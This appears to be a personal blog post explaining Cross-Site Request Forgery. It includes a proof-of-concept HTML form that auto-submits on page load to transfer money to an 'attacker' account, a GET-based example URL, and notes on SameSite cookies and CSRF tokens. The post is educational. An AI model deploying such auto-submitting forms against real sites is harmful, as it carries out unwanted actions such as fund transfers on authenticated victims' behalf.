Cross-Site Request Forgery

CSRF, also known as XSRF attack, is somewhat similar to XSS attack in its delivery. The key difference is that while XSS targets the victim’s browser, performing scripts intended to reveal secrets or deface the website, a CSRF attack aims to carry out an unwanted action on the user’s behalf, using their existing authentication to the server.

Websites may use session tokens to ensure that only an authenticated user is able to perform an action. However, CSRF attacks aim to trick a user into clicking on a link or opening a file, sending an unwanted request to the server automatically. Many browsers will then, by default, helpfully attack the session cookie for that website.  Without CSRF tokens, a server has no way of knowing if the origin of a request is a user or a malicious link/file.

Executing CSRF

POST Request

A CSRF vulnerability could be found within the HTML of a page. Interactable sections of a website often use the “form” tag to send an HTTP request when the user interacts with an element, like in the following example:

<form action="/submit" method="post">
 <div class="mb-4">
 <input type="text" class="form-control mb-2" name="amount" id="amount" placeholder="$0.00">
 <input type="text" class="form-control mb-2" name="username" id="username" placeholder="Username">
 <button class="btn btn-block" type="submit">Transfer money</button>
</form>

To send a POST request on behalf of the user, an attacker could create a specially crafted version of this template in an HTML file. First, the body tag of the template can be modified to send the form on loading of the page by adding an onload command:

<body data-spy="scroll" data-target=".site-navbar-target" data-offset="300" onload="document.forms[0].submit()">

Within the form tag itself, we then modify the action to send a POST request to a specific destination, rather than a relative path:

<form action="http://127.0.0.1:8000/submit.html" method="post">
 <div class="mb-4">
 <input type="text" class="form-control mb-2" name="amount" id="amount" value="100">
 <input type="text" class="form-control mb-2" name="username" id="username" value="attacker">
 <button class="btn btn-block" type="submit">Transfer money</button>
</form>

If an attacker tricked a victim into opening this HTML in a browser they were already authenticated to, loading this page would send the POST request automatically.

GET Request

CSRF attack using GET requests can be much simpler, looking similar to an XSS attack. If a vulnerable website simply uses URL parameters to process an action, a malicious URL with crafted parameters could execute a request on behalf of the victim upon them visiting the URL in their browser:

http://bank.com/transfer.do?acct=BOB&amount=100

(source: OWSAP.org)

Mitigations

Mitigations are divided into protections on the server-side or the client-side. On the client-side (browser), there are protections like SameSite cookies. This mechanism determines when a website’s cookies originate from other websites. Loading an HTML file via an email attachment will have a different origin than loading a web page via a link within the homepage of the same website.

On the server-side, CSRF tokens are unique values generated by a server on each response. The server will then require this value to be sent from the client along with the HTTP request. If the value is not sent, the server generally returns a 403 error.

Sources

I found these resources extremely helpful with navigating my first CSRF proof of concept:

https://owasp.org/www-community/attacks/csrf https://portswigger.net/web-security/csrf

Written on October 22, 2025